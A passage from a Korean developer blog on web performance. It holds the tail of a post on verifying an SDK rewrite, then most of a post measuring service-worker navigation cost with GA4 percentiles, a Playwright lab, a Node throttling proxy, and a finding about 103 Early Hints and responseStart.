다만 나중에 누군가 이걸 직접 만들 때 밟을 함정 하나는 기록해 뒀다. 워크스페이스 설정이 **마운트 이후에 비동기로 도착한다.** 그래서 클라이언트가 평가 준비를 마쳤다는 이벤트를 구독해 리렌더를 유발하지 않으면, 평가 훅이 영원히 기본값만 돌려준다. 화면에는 아무 에러도 안 뜨고 그냥 A안만 계속 보인다.

그리고 그 구독은 `useSyncExternalStore` 로 해야 한다. 벤더 구현은 `useState` 와 `useEffect` 조합인데, 그건 React 17 시절 코드다. React 18의 동시성 렌더에서는 렌더 도중 외부 값이 바뀌면 같은 화면 안에서 서로 다른 값을 읽는 테어링이 난다.

안 만든 것도 결정이라, 왜 안 만들었고 만들려면 무엇을 알아야 하는지까지 적어 두는 편이 낫다고 봤다.

## 통과했다는 사실이 주는 확신에 대해

정리하면 이 작업이 지금 할 수 있는 주장은 이렇다. **우리가 실제로 쓰는 경로는 벤더 배포본과 나란히 돌려 같은 값을 내는 것을 확인했다.** 이벤트 페이로드, 평가 결정, 타겟 매칭, URL 분기, 네이티브 브릿지가 여기 들어간다. **그리고 우리가 쓰지 않는 영역은 검증하지 않았다.** 메시지 UI 렌더러의 DOM 출력, 원격 평가 모드의 일부 경로, Node 엔트리가 그렇다.

뒤쪽이 부족한 게 아니라 의도한 범위라고 생각한다. 아무도 안 쓰는 기능의 동등성을 증명하는 데 시간을 쓰는 것보다, 쓰는 경로를 확실히 하고 나머지는 범위 밖이라고 적어 두는 편이 정직하다. 다만 그 목록이 사라지면 이야기가 달라진다. "검증했다"와 "검증 안 했다"가 문서에서 구분되지 않는 순간, 누군가는 안 쓰던 기능을 켜면서 이미 검증된 것으로 착각하게 된다.

이 작업에서 가장 오래 남을 것 같은 문장은 크기 표가 아니라 이것이다.

**검증 게이트가 검증 대상과 다른 것을 보고 있으면, 그 게이트는 없는 것보다 나쁘다.**

없으면 최소한 불안하기라도 하다. 있는데 엉뚱한 것을 보고 있으면 통과했다는 사실이 거짓 확신을 준다. 앞에서 적은 세 건은 전부 그 종류였다. 테스트는 있었고, 이름도 정확했고, 초록불이었고, 아무것도 안 보고 있었다.

지금은 검증 명령 하나가 타입체크, 린트, 테스트, 변이 배터리, 크기 게이트, 소비자 타입 해석을 순서대로 돈다. 4분 걸리고 대부분이 배터리다. 이 4분의 가치는 테스트가 통과한다는 확인이 아니라, **테스트가 여전히 무언가를 보고 있다는 확인**에 있다고 생각한다.

물론 이 방식도 만능은 아니다. 양쪽이 같은 이유로 아무것도 안 하면 대조는 통과하고, 변이는 사람이 의심한 지점만 찌른다. 대시보드에 지표가 제대로 반영되는지는 코드로는 끝내 닫을 수 없어서, 샌드박스 워크스페이스에 양쪽을 붙여 며칠 돌려 보는 일이 남아 있다. 그래서 지금 할 수 있는 정직한 주장은 "동일하다"가 아니라 "이만큼까지는 대조했고 나머지는 이 목록에 있다" 정도다. 그 목록을 지우지 않고 들고 다니는 것이, 재작성 같은 일에서는 결과물보다 중요한 산출물일지도 모르겠다.

---

Source: https://yceffort.kr/2026/08/service-worker-caching-3.md
Title: <em>서비스 워커</em> 경유 비용 실측: GA4가 답하지 못한 대조군을 랩에서 만들기
Description: 2편 끝에 남긴 "워커 경유 비용 500ms"를 확정하려 했지만, 대조군이 되는 하드 리로드는 하루 한 건이 안 됐다. 그래서 Playwright와 셰이핑 프록시로 대조군을 직접 만들어 재 보니 내비게이션에서 워커 비용은 2ms였고, 비용은 지연이 아니라 글 하나를 클릭할 때마다 배경에서 더 받는 바이트 쪽에 있었다. 랩과 실사용자 데이터 사이에 남겨 둔 간극은 글을 다 쓰고 나서야 103 Early Hints가 만든 측정 정의 차이였다는 것을 알았다. 서비스 워커 캐싱 딥다이브 시리즈의 세 번째 편이다.
Date: 2026-08-28
Tags: web-performance, service-worker, pwa, nextjs
Series: 서비스 워커 캐싱 딥다이브

## Table of Contents

## 3주를 기다리면 모일 줄 알았다

[2편](/2026/08/service-worker-caching-2)에는 확정하지 못한 숫자가 하나 남아 있었다. 하드 리로드는 서비스 워커를 우회하므로 `navigation_type`이 `reload`인 표본은 워커 경유 여부만 다른 깨끗한 대조군이 되는데, 2주치를 모아 보니 `no` 51ms(12건)와 `yes` 595ms(64건)였다. 워커 경유 비용이 500ms 안팎이라는 정황으로 읽히기는 하지만 12건으로 단정할 수는 없어서, 몇 주 더 쌓이면 다시 보겠다고 적어 두었다.

그 몇 주를 기다리기 전에 확인해 둘 것이 하나 있었다. 지금 속도라면 표본이 얼마나 쌓이는지다. 8월 13일부터 28일까지 16일 동안 TTFB 이벤트를 `navigation_type`과 워커 경유 여부로 나누면 다음과 같다(싱가포르발 크롤러 트래픽은 제외했고, 이 글의 GA4 수치는 전부 그렇다).

| 구간              | 16일 합계 | 하루 평균 | 3주 뒤 예상 |
| ----------------- | --------- | --------- | ----------- |
| navigate, yes     | 700       | 43.8      | 약 920      |
| navigate, no      | 661       | 41.3      | 약 870      |
| back-forward, yes | 263       | 16.4      | 약 345      |
| reload, yes       | 65        | 4.1       | 약 85       |
| **reload, no**    | **12**    | **0.8**   | **약 16**   |
| back-forward, no  | 8         | 0.5       | 약 11       |

기다리려던 계획을 접은 것은 이 표를 보고 나서다. 하드 리로드를 하는 방문자가 하루에 한 명이 안 되니, 3주를 더 기다려도 16건이고 6주를 기다려도 30건대에 머문다. 게다가 12건이 12번의 관측도 아니다. `dateHourMinute`까지 펼쳐 보면 12건 중 7건이 8월 22일 13시 12분과 14분과 16분 세 버킷에 몰려 있는데, 계측이 제대로 도는지 확인하려고 내가 5분 동안 하드 리로드를 되풀이한 흔적이다. 같은 프로필의 나머지 한 건까지 합치면 12건 중 8건이 내 브라우저에서 나왔다. 서로 다른 방문으로 세면 16일 동안 6번이고, 서로 다른 프로필로 세면 5개다. 하루 0.8건이 아니라 사흘에 한 번 꼴이고, 그 절반 이상이 대조군을 확인하러 들어간 내 트래픽이다. 표본이 적은 이유가 관측 기간이 짧아서가 아니라 그런 행동을 하는 사람이 원래 드물어서라면, 시간을 더 준다고 채워질 것 같지는 않았다. 하드 리로드가 워커를 우회한다는 점 덕분에 대조군이 만들어지는데, 같은 행동이 드물다는 점 때문에 그 대조군이 비어 있는 셈이다.

그렇다면 표본이 넉넉한 `navigate`끼리 비교하면 되지 않겠느냐는 생각이 자연스럽게 따라오는데, 이 비교는 다른 이유로 막힌다. 8월 27일과 28일 이틀치 TTFB에서 `no`는 95건 중 87건이 신규 방문자였고, `yes`는 100건 중 67건이 재방문자였다. 워커를 거치지 않은 내비게이션은 대부분 첫 방문이고 워커를 거친 내비게이션은 대부분 재방문이니, 두 집단의 차이에는 워커 비용과 함께 신규와 재방문의 차이(연결 상태, 기기와 지역 구성, 읽는 글, 브라우저 캐시의 상태)가 섞여 있다. 이 구성은 방문자가 훨씬 늘어도 달라지지 않을 테니, 이 문제도 시간이 해결해 주지는 않을 것이다. 방문자를 무작위로 갈라 한쪽에만 워커를 등록하는 A/B 실험이라면 풀 수 있겠지만, 읽으러 온 사람의 브라우저를 실험 장치로 쓰는 것은 이 블로그에서 하고 싶은 일이 아니었다.

그래서 이 편은 "그러면 어떻게 잴 것인가"를 붙잡은 기록이 됐다. 실사용자 데이터에서 한 번 더 뽑아 보고, 거기서는 얻을 수 없는 것을 확인한 뒤, 대조군을 랩에서 직접 만들었다. 결론을 앞에 모아 두지는 않았다. 세 번의 시도가 각각 어디까지 갔고 어디서 멈췄는지가 이 글에서 하고 싶은 이야기이기 때문이다.

## 첫 번째 시도: 평균 대신 백분위수

2편의 정산은 전부 평균이었다. GA4 Data API는 지표 합계와 이벤트 수만 주므로 평균 말고는 계산할 것이 없고, 그 평균이 글 하나의 41.7초짜리 극단값에 끌려간 사례를 2편에서 이미 겪었다. 백분위수가 필요했다.

우회로는 단순하다. 이벤트를 `dateHourMinute`, 워커 경유 여부, `navigation_type`, 기기 유형, 도시로 쪼개면 이 블로그 정도 트래픽에서는 행 대부분이 이벤트 1건짜리가 된다. 8월 27일과 28일의 다섯 지표 전체가 688행이었고 그중 657행이 1건이었다. 1건짜리 행의 합계는 그 이벤트의 값 자체이니, 행을 늘어놓고 정렬하면 근사 p50과 p75가 나온다. 조회 골격은 다음과 같다.

```javascript
const [res] = await client.runReport({
  property,
  dateRanges: [{startDate: '2026-08-13', endDate: '2026-08-28'}],
  dimensions: [
    'customEvent:sw_controlled',
    'customEvent:navigation_type',
    'deviceCategory',
    'dateHourMinute',
    'city',
  ].map((name) => ({name})),
  metrics: [{name: 'eventCount'}, {name: 'eventValue'}],
  dimensionFilter: {
    filter: {fieldName: 'eventName', stringFilter: {value: 'TTFB'}},
  },
  limit: 100000,
})

// 행 대부분이 eventCount 1이라, 행의 평균을 건수만큼 복제해 늘어놓으면 근사 분포가 된다
const values = []
for (const row of res.rows) {
  const n = Number(row.metricValues[0].value)
  const mean = Number(row.metricValues[1].value) / n
  for (let i = 0; i < n; i++) values.push(mean)
}
values.sort((a, b) => a - b)
const p50 = values[Math.floor(values.length * 0.5)]
```

2건 이상인 행은 평균값을 건수만큼 복제하므로 정확한 백분위수는 아니다. 그래도 극단값 하나가 전체를 끌고 가는 일은 막아 준다. 참고로 web-vitals가 보내는 `value` 파라미터는 커스텀 측정항목이 아니라 표준 `eventValue`로 조회해야 한다(`customEvent:value`로 물으면 `INVALID_ARGUMENT`가 돌아온다).

이 방법으로 16일치를 다시 집계하면 그림이 2편과 꽤 달라진다.

| TTFB p50 (ms)      | no          | yes         | 차이 |
| ------------------ | ----------- | ----------- | ---- |
| navigate, 데스크톱 | 148 (542건) | 182 (567건) | +34  |
| navigate, 모바일   | 147 (119건) | 183 (131건) | +36  |
| reload, 데스크톱   | 56 (11건)   | 131 (35건)  | +75  |

평균으로 500ms였던 `reload` 대조가 p50으로는 75ms이고, 교란이 섞여 있다는 유보를 달아야 하는 `navigate` 대조는 기기 유형과 무관하게 35ms 안팎이다. 다만 `reload`의 75ms에는 앞에서 본 버스트가 들어 있다. 데스크톱 `no` 11건에서 버스트 7건을 빼면 12, 20, 25, 64ms 네 건이 남고, 중앙값을 어떻게 잡든 20ms대라 `yes` 131ms와의 격차는 오히려 100ms를 넘는다. 격차가 더 크다는 결론이 아니라 크기를 말할 수 없다는 뜻이다. `yes`의 꼬리를 대표하던 833ms도 8월 22일 15시 28분의 이벤트 하나이고, 프로필이 방금 본 버스트와 같으니 이것도 내 것일 가능성이 크다.

2편의 "재방문자 TTFB +525ms"는 이 관점에서 다시 읽어야 한다. 워커가 모든 사용자에게 500ms를 얹은 것이 아니라, 대부분의 사용자에게는 수십 ms를 얹고 일부 사용자에게 훨씬 큰 값을 얹었으며 그 꼬리가 평균을 끌어올렸다고 보는 편이 데이터에 가깝다. 그 "수십 ms"에는 나중에 단서를 하나 더 달아야 하는데, 이 표의 +34/+36ms가 워커가 만든 지연인지부터가 확실하지 않다. 함정 절의 네 번째에서 다시 다룬다.

같은 방법을 2편에서 새로 심은 LCP 단계 분해에도 적용해 봤다. 수정된 `sw_controlled` 판정이 배포된 뒤인 8월 27일과 28일 이틀치, `navigate` 내비게이션만이다.

| LCP 단계 p50 (ms) | no (79건) | yes (36건) |
| ----------------- | --------- | ---------- |
| LCP               | 1,220     | 752        |
| lcp_ttfb          | 99        | 159        |
| 리소스 로드 지연  | 0         | 0          |
| 리소스 로드 시간  | 0         | 0          |
| 요소 렌더 지연    | 1,026     | 494        |

리소스 두 줄이 0인 것은 이 블로그의 LCP 요소가 대부분 글 제목 `h1`(텍스트)이기 때문이고, 그래서 LCP는 사실상 TTFB와 렌더 지연의 합이다. 워커를 거친 쪽은 TTFB 단계가 60ms 느리고 렌더 지연은 절반이다. 워커의 비용은 첫 바이트 앞에 있고 워커의 이득은 그 뒤(정적 자산과 폰트)에 있다는 2편의 그림과 맞는다. `lcp_ttfb`는 web-vitals가 TTFB로 보내는 것과 같은 `responseStart`를 읽으므로, 앞 표에 달아 둔 단서가 이 60ms에도 그대로 붙는다. 다만 이 표의 `yes`는 대부분 재방문자이고 재방문자라면 HTTP 캐시에도 같은 자산이 있었을 테니, 렌더 지연의 절반이 Cache Storage 덕분인지 "캐시가 차 있는 재방문" 덕분인지는 이 표로는 가를 수 없다. 이 질문은 랩에서 다시 나온다.

그런데 이 집계에도 한계가 곧 드러났다. 8월 23일에 navigation preload를 배포했으니 그 전후로 `yes`의 TTFB가 움직였는지 보고 싶었는데, 일별 p50을 그려 보니 배포 효과를 읽을 해상도가 아니었다.

![일별 TTFB p50, 워커 경유 여부별. 하루 단위 p50이 42~521ms 사이를 오가고 8월 23일의 preload 배포 효과는 구분되지 않는다](./images/service-worker-caching/rum-daily-ttfb-p50.png)

하루 표본이 12건에서 78건 사이라 일별 p50이 42ms에서 521ms 사이를 오간다. 백분위수는 평균의 극단값 문제를 풀어 주지만 표본 크기 문제는 풀어 주지 않는다. 실사용자 데이터에서 얻을 수 있는 것은 여기까지였다. 워커 경유 비용의 크기는 수십 ms 안팎이라는 것, 그 비용이 첫 바이트 앞에 있다는 것, 그리고 그 안에서 preload 같은 개별 조치의 효과를 가려내는 것은 이 트래픽으로는 무리라는 것.

## 두 번째 시도: 대조군을 만든다

실사용자 데이터의 두 문제(대조군이 안 생긴다, 생겨도 교란된다)는 랩에서는 정의상 존재하지 않는다. 같은 기기, 같은 네트워크 조건에서 워커만 켰다 껐다 하면 되기 때문이다. 대신 랩에는 랩의 문제가 있다. 조건을 실제와 얼마나 비슷하게 만들었는가, 그리고 그 조건에서 나온 숫자가 실사용자 데이터와 어떻게 이어지는가. 앞의 것은 설계로 답할 수 있었지만, 뒤의 것은 이 글을 거의 다 쓰고 나서야 답이 나왔다.

> 측정 환경: Apple M5 MacBook, macOS 26.5.2, Playwright 1.62.1이 내려받은 Chrome for Testing 151.0.7922.34. 대상은 이 블로그를 `next build` 후 `next start`(Next.js 16.3.1)로 띄운 로컬 프로덕션 서버이며, 서비스 워커는 측정 당시의 배포본과 같은 `sw.js`(코드 v4)다(이 글 뒤쪽에서 그 v4의 결함 하나를 찾아 고쳤고, 본문의 표들은 고치기 전 기준이다). 네트워크 조건은 뒤에 설명할 프록시로 만들었다. 조건당 25회(CPU 스로틀 조건은 10회) 반복했고, 본문의 수치는 별도 표기가 없으면 p50이다. 이 절의 랩 측정은 8월 28일과 29일에 했고, 뒤에 나오는 프로덕션 도메인 측정은 9월 1일 macOS 26.6.2에서 따로 돌렸다. 측정 스크립트와 원본 데이터는 저장소의 `apps/blog/scripts/sw-lab/`에 있다.

### 설계: 한 회차의 모양

한 회차는 빈 브라우저 프로필에서 시작해 다섯 번의 이동을 한다.

1. 홈에 들어간다. 워커를 허용한 조건에서는 여기서 등록과 활성화가 일어나고, `navigator.serviceWorker.ready`와 `controllerchange`를 기다린 뒤 프리캐시가 끝나도록 잠시 둔다.
2. 글 A로 하드 내비게이션한다. 워커는 방금 활성화됐으니 **웜** 상태다.
3. 브라우저를 완전히 종료하고 같은 프로필로 다시 연 뒤 글 B로 하드 내비게이션한다. 워커의 **콜드** 기동이다.
4. 같은 페이지를 CDP의 `Page.reload({ignoreCache: true})`로 하드 리로드한다. 실사용자 데이터의 `reload, no`에 해당하는, 워커를 우회하는 내비게이션이다.
5. 홈으로 돌아가 글 링크를 클릭한다. 소프트 내비게이션과 그 앞의 `?_rsc=` 프리페치 요청들을 `PerformanceResourceTiming`으로 수집한다.

글 A와 글 B는 다른 글이라(길이도 다르다) 웜과 콜드를 세로로 비교하는 것은 의미가 없고, 같은 구간 안에서 조건끼리 가로로 비교하는 것이 이 설계의 용도다. 각 이동에서 페이지 안에서 다음 값을 읽어 온다.

```javascript
const [nav] = performance.getEntriesByType('navigation')
const fcp = performance.getEntriesByName('first-contentful-paint')[0]
return {
  workerStart: nav.workerStart,
  fetchStart: nav.fetchStart,
  responseStart: nav.responseStart, // TTFB
  fcp: fcp?.startTime,
  lcp: window.__lcp, // addInitScript로 심어 둔 PerformanceObserver가 갱신한다
  controlled: !!navigator.serviceWorker?.controller,
}
```

워커 기동 시간은 `fetchStart - workerStart`다. `workerStart`는 내비게이션을 처리하려고 워커를 기동하기 시작한 시각(이미 떠 있으면 fetch 이벤트를 보내기 직전)이고 `fetchStart`는 그 뒤 실제 fetch가 시작된 시각이라, 둘의 차이가 워커가 준비되기까지 기다린 시간이 된다[^1]. 1편에서 웜 기동 2ms를 잰 것과 같은 계산이다.

조건은 다섯 가지다. 워커 없음(Playwright의 `serviceWorkers: 'block'`), 워커 있음(배포본 그대로, navigation preload 켜짐), 워커 있음이되 preload를 끈 것, 그리고 앞의 두 조건을 CPU 6배 스로틀(`Emulation.setCPUThrottlingRate`) 아래서 되풀이한 것. preload를 끄는 변형은 측정 동안만 `sw.js`의 한 줄을 디스크에서 바꿔치기한 것이다.

```bash
sed -i '' 's|self.registration.navigationPreload?.enable(),|undefined,|' \
  apps/blog/public/sw.js
```

`next start`는 `public/` 파일을 요청 시점에 읽으므로 재빌드가 필요 없고, 회차마다 새 프로필에서 워커를 새로 등록하니 바꿔치기한 파일이 곧바로 설치된다. 측정이 끝나면 `git checkout`으로 되돌린다.

콜드 기동을 만드는 3번 단계는 코드로 보면 별것 없다.

```javascript
await context.close()
;({context, page, cdp} = await open(userDataDir))
await page.goto(BASE + POST_COLD)
```

같은 `userDataDir`로 `launchPersistentContext`를 다시 부르는 것뿐인데, 여기에 오기까지 한 번 돌아왔다. 그 이야기는 함정 절에서 한다.

### 네트워크 조건은 프록시로 만들었다

처음에는 DevTools의 네트워크 스로틀(`Network.emulateNetworkConditions`)을 쓰려고 했다. 그런데 이 설정은 CDP 세션이 붙은 페이지 타깃에 적용되는 것이고, 서비스 워커는 별도 타깃이며 navigation preload 요청은 브라우저가 워커를 대신해 보내는 것이다. 워커의 요청에 스로틀이 걸리지 않으면 워커 조건만 빠른 네트워크를 쓰는 셈이 되어 비교가 무너진다. 걸리는지 아닌지를 확인하는 대신, 확인이 필요 없는 쪽을 택했다. `next start` 앞에 Node로 30줄짜리 프록시를 두고 모든 응답을 거기서 늦췄다.

```javascript
const RATE = (4 * 1000 * 1000 * 0.9) / 8 // 450,000 bytes/s
const ONE_WAY = 75 / 2 // ms
let nextFree = 0

// 이 조각이 회선에서 다 도착했을 시각에 쓴다. 첫 조각도 전송 시간만큼 늦춘다
function paced(res, chunk) {
  const now = performance.now()
  const start = Math.max(now, nextFree)
  nextFree = start + (chunk.length / RATE) * 1000
  return new Promise((r) =>
    setTimeout(() => {
      res.write(chunk)
      r()
    }, nextFree - now),
  )
}

http
  .createServer((req, res) => {
    setTimeout(() => {
      const up = http.request(
        {port: 3000, path: req.url, method: req.method, headers: req.headers},
        (u) => {
          setTimeout(async () => {
            res.writeHead(u.statusCode, u.headers)
            res.flushHeaders() // 헤더는 즉시 보내고 본문만 속도를 조절한다
            for await (const chunk of u) {
              for (let o = 0; o < chunk.length; o += 4096) {
                await paced(res, chunk.subarray(o, o + 4096))
              }
            }
            res.end()
          }, ONE_WAY)
        },
      )
      req.pipe(up)
    }, ONE_WAY)
  })
  .listen(3100)
```

요청을 받으면 편도 지연만큼 기다렸다가 업스트림으로 넘기고, 응답 헤더를 받으면 다시 편도 지연 뒤에 내려보내며, 본문은 4KB 조각으로 잘라 전역 토큰 버킷(`nextFree`)으로 450KB/s에 맞춰 흘린다. 버킷이 전역이라 동시에 열린 응답들이 대역폭을 나눠 쓴다. 모바일 4G를 염두에 두고 고른 값(왕복 75ms, 다운로드 4Mbps의 90%)이고 DevTools의 Fast 4G 프리셋(다운로드 9Mbps의 90%, 목표 왕복 60ms)보다는 느린데, 절대값보다 중요한 것은 페이지, 워커, preload가 전부 같은 프록시를 지난다는 점이다. 업로드는 속도를 조절하지 않았다. 측정 대상이 전부 GET이라 요청 본문이 없다.

위 코드의 `flushHeaders()` 한 줄은 처음에 없었고, 그 상태로 시운전한 워커 없는 조건의 TTFB가 205ms였다. 왕복 75ms에 서버 시간을 더해도 90ms 언저리여야 했다. Node의 `res.writeHead()`는 헤더를 즉시 내보내지 않고 첫 `write()`까지 붙들고 있어서, 첫 조각의 전송 시간이 TTFB에 얹혀 있었던 것이다. 시운전 당시의 프록시는 본문을 쪼개지 않고 통째로 한 번에 썼으니 그 첫 조각이 압축된 HTML 55KB 전부였고, 450KB/s에서 122ms다. 75에 122를 더하면 205ms 언저리가 된다.

위에 실은 코드는 4KB 서브청킹까지 들어간 최종본이라 같은 숫자가 그대로 나오지는 않는다는 점은 밝혀 둬야겠다. 서브청킹이 있으면 헤더는 첫 4KB를 쓰는 순간에 나가니 얹히는 것은 122ms가 아니라 9ms고, `next start`가 HTML을 스트리밍으로 내려주는 탓에 업스트림의 첫 조각 자체가 작아서 그 9ms조차 재현되지 않았다. 최종 코드에서 `flushHeaders()`만 빼고 `curl`로 재 보면 `time_starttransfer`가 양쪽 다 79ms 안팎이다. 그래도 한 줄은 남겨 뒀다. TTFB가 업스트림이 본문을 어떻게 쪼개 주느냐에 달리지 않게 해 두는 편이 낫기 때문이다. 어느 쪽이든 그 상태로 본 측정을 돌렸다면 워커 유무와 무관한 100ms를 두고 해석을 시작할 뻔했다. 프록시를 믿기 전에 프록시부터 재야 했다.

### 함정 네 가지

프록시 말고도 측정을 무효로 만들 뻔한 것이 네 가지 있었다. 앞의 세 가지는 랩을 만드는 동안 만났고, 마지막 하나는 랩을 다 돌리고 이 글의 결론까지 써 놓은 뒤에 알았다.

**`route()`는 HTTP 캐시를 끈다.** 로컬 서버라도 페이지는 프로덕션 측정 ID로 GA4에 이벤트를 보내므로 애널리틱스 요청을 막아야 했고, Playwright의 `context.route()`로 막았다. 그런데 워커 없는 조건에서 웜 내비게이션인데도 정적 자산 33개가 매번 전부 재다운로드됐다. `next start`가 `/_next/static/`에 `cache-control: public, max-age=31536000, immutable`을 내려주는 것을 `curl`로 확인했으니 헤더 문제는 아니었다. Playwright 문서에 적혀 있듯 라우팅을 켜면 HTTP 캐시가 비활성화된다[^2]. 워커 조건은 자산을 Cache Storage에서 꺼내니 영향이 없고 워커 없는 조건만 불리해지는, 하필 비교를 한쪽으로 기울이는 함정이었다. 차단을 인터셉션 없이 DNS 매핑으로 바꿨다.

```javascript
const context = await chromium.launchPersistentContext(userDataDir, {
  serviceWorkers: COND === 'nosw' ? 'block' : 'allow',
  args: [
    '--host-resolver-rules=MAP *.google-analytics.com 127.0.0.1, MAP *.googletagmanager.com 127.0.0.1',
  ],
})
```

그러자 웜 내비게이션의 재다운로드는 33개 중 15개(그 글에서 처음 쓰는 청크들)로, 재기동 후 콜드는 37개 중 4개로 줄었다. 디스크 캐시가 브라우저 재기동을 넘어 살아남는다는 확인이기도 해서, 뒤의 콜드 비교가 "캐시가 빈 상태 대 찬 상태"가 아니라는 근거가 됐다.

**`stopAllWorkers`로는 콜드가 안 된다.** 콜드 기동을 만들려고 처음에는 CDP의 `ServiceWorker.stopAllWorkers`를 썼다(브라우저 세션이 아니라 페이지 세션에서만 받아 준다). 워커의 `runningStatus`는 분명 `stopped`가 됐는데, 다음 내비게이션에서 잰 기동 시간이 1.6ms였다. 같은 렌더러 프로세스가 살아 있는 상태에서 스크립트만 다시 올리는 것이라 사실상 웜이다. 사용자가 며칠 만에 돌아와 워커가 처음 뜨는 상황에 가까운 것은 브라우저 프로세스 자체를 종료했다가 같은 프로필로 다시 여는 쪽이어서, 회차마다 재기동하는 비용을 감수했다. 1편에서 "DevTools가 붙어 있으면 콜드를 재현할 수 없다"고 적었는데, DevTools를 떼도 정지 명령만으로는 안 된다는 것을 여기서 배웠다.

**워커를 지난 응답은 `transferSize`가 다르다.** 워커가 응답한 내비게이션의 `transferSize`는 압축 전 본문 크기(236,137)로 찍히고, 같은 페이지를 워커 없이 받으면 압축 크기(55,576)로 찍힌다. 워커를 지난 정적 자산은 0이다. 처음에는 프록시의 속도 조절이 안 걸린 줄 알았는데 집계 방식의 차이였다. 워커 유무를 가로질러 바이트 수를 비교하는 것은 이 값으로는 안 되고, 위의 "33개 중 15개" 같은 적중 수도 워커 없는 조건에서만 셀 수 있다.

**랩과 실사용자 데이터가 같은 순간을 재고 있지 않았다.** 첫 번째 시도의 `navigate` +34/+36ms와 잠시 뒤에 나올 랩의 한 자릿수 ms를 나는 같은 종류의 값으로 놓고 견주고 있었는데, 두 값이 재는 순간이 서로 달랐다.

`responseStart`는 스펙상 `firstInterimResponseStart`가 0이 아니면 그 값을 돌려주고, 0일 때만 `finalResponseHeadersStart`를 돌려준다[^3]. Chrome 115가 responseStart를 최종 헤더 쪽으로 옮겼다가 호환성 문제로 Chrome 133에서 되돌리면서 이 정의가 됐다[^4]. 즉 103 Early Hints를 보내는 사이트에서 `responseStart`는 최종 헤더가 도착한 시각이 아니라 103이 도착한 시각이다.

yceffort.kr은 103을 보낸다. 이걸 확인하는 데 한 번 헛걸음했는데, 그냥 `curl`을 던지면 200만 보이기 때문이다. `sec-fetch-mode: navigate`를 붙여 내비게이션 요청으로 보이게 해야 103이 나온다. Chrome UA나 `accept: text/html`은 없어도 되고, `sec-fetch-dest: document`만으로는 나오지 않는다. 내용은 `server: Vercel`과 `x-vercel-id` 두 줄뿐이고 `link` 헤더도 없으니 프리로드로 쓰이는 것도 아니다. 엣지가 요청을 받았다는 신호가 전부다.

문제는 워커를 거치면 이 값이 달라진다는 것이다. 프로덕션 도메인에 Playwright를 붙여, 시간대 변동을 상쇄하려고 회차마다 워커를 막은 조건과 허용한 조건을 번갈아 12쌍 돌렸다(24회 전부 `x-vercel-cache: HIT`이었다. 워커를 지난 응답은 `nextHopProtocol`이 빈 문자열이라, h2로 찍힌 것은 워커 없는 12회뿐이다). `serviceWorkers: 'block'`으로 연 쪽은 `firstInterimResponseStart` 중앙 8.8ms에 `finalResponseHeadersStart` 중앙 46.0ms였고 `responseStart`는 앞의 값을 가져갔다. 워커가 제어한 쪽은 12번 모두 controller를 잡은 상태에서 `firstInterimResponseStart` 중앙 36.3ms였고, `finalResponseHeadersStart`는 12번 다 0이었다. 워커 경로에서는 interim 타이밍이 전달되지 않고 최종 헤더 시각이 interim 슬롯에 들어가는 것으로 보인다. 워커 없는 쪽은 103 도착 시각을, 워커 있는 쪽은 최종 헤더 도착 시각을 같은 이름으로 보고하고 있었던 셈이다. 최종 헤더끼리 맞춰 놓으면 36.3 대 46.0으로 워커 쪽이 오히려 10ms 가까이 빠른데, 두 조건이 지나는 경로 자체가 다르니 이 차이도 개선으로 해석해서는 안 되고, "+35ms는 아니다"까지만 말할 수 있겠다.

103만 다르게 두고 통제 실험도 해 봤다. 103을 보내는 서버와 안 보내는 서버를 세우고 양쪽 다 최종 헤더는 40ms 뒤에 내려보내도록 고정한 뒤, 워커 유무를 가로질러 `responseStart`를 읽었다. 조건당 15회다.

| 조건                     | responseStart p50 | 범위        |
| ------------------------ | ----------------- | ----------- |
| SW 없음, 103 보냄        | 1.4ms             | 0.5~1.8ms   |
| SW 없음, 103 없음        | 42.3ms            | 41.2~43.5ms |
| SW, 103 보냄             | 43.9ms            | 42.3~45.3ms |
| SW, 103 없음             | 43.3ms            | 41.8~44.5ms |
| SW(preload 끔), 103 보냄 | 42.7ms            | 41.5~44.9ms |

103이 없으면 워커 유무의 차이는 1ms다. 관측되던 41ms는 전부 정의 차이였다. 103을 한 번도 보내지 않은 조건에서도 워커 제어 아래서는 interim 슬롯이 40ms대로 채워지는 것, 그리고 `finalResponseHeadersStart`가 워커 없는 30회에서는 한 번도 0이 아니었고 워커가 제어한 45회에서는 전부 0이었다는 것도 이 실험에서 나온다.

크기도 맞는다. 위 프로덕션 12회에서 103과 최종 헤더 사이는 23ms에서 55ms 사이였고(한 번은 304ms까지 튀었다), `curl --trace-time`으로 따로 5번 재면 37~66ms였다. 회선과 시각에 따라 이만큼 흔들리지만 첫 번째 시도의 `navigate` +34/+36ms와 같은 자릿수라는 것은 분명하다. `lcp_ttfb`의 +60ms도 web-vitals가 같은 `responseStart`를 읽으므로 같은 아티팩트를 탄다. 적용 범위도 좁지 않다. 8월 13일부터 28일까지 TTFB 이벤트 2,014건 중 Chromium 계열이 1,774건(88.1%)이고, Chrome 1,657건 중 133 이상이 1,544건(93.2%)이다.

그리고 랩에서는 이 차이가 애초에 생길 수 없었다. 위의 셰이핑 프록시는 순수 node `http`로 `res.writeHead()`와 `res.flushHeaders()`만 하고, 업스트림 `http.request`가 올려 주는 `information` 이벤트를 아래로 전달하지 않는다. 103이 원천적으로 없으니 랩에서는 워커 조건과 워커 없는 조건이 둘 다 최종 헤더 시각을 쟀고, 그래서 두 조건의 차이가 5ms 아래로 나왔다. 헤더를 언제 내보내는지를 그렇게 따졌으면서 정작 103을 전달할 생각은 못 했다.

이 발견으로 뒤에 나올 결론이 바뀐다. 그대로 두면 랩과 실사용자 데이터 사이의 간극이 지연으로 읽히므로, 마지막 절에서 다시 정리한다.

## 결과: 비용이 보이지 않는다

다섯 조건의 결과를 한 표에 모으면 다음과 같다.

| 조건                    | 구간               | 워커 기동 | TTFB             | FCP             | LCP               |
| ----------------------- | ------------------ | --------- | ---------------- | --------------- | ----------------- |
| 워커 없음               | 웜 / 콜드 / 리로드 | 0         | 81 / 82 / 81     | 116 / 120 / 356 | 528 / 584 / 376   |
| 워커 + preload          | 웜 / 콜드 / 리로드 | 0 / 2 / 0 | 82 / 83 / 81     | 120 / 120 / 360 | 524 / 580 / 380   |
| 워커, preload 끔        | 웜 / 콜드 / 리로드 | 0 / 3 / 0 | 82 / **94** / 82 | 124 / 128 / 356 | 520 / 588 / 384   |
| 워커 없음, CPU 6배      | 웜 / 콜드 / 리로드 | 0         | 80 / 82 / 83     | 204 / 260 / 600 | 896 / 1228 / 1080 |
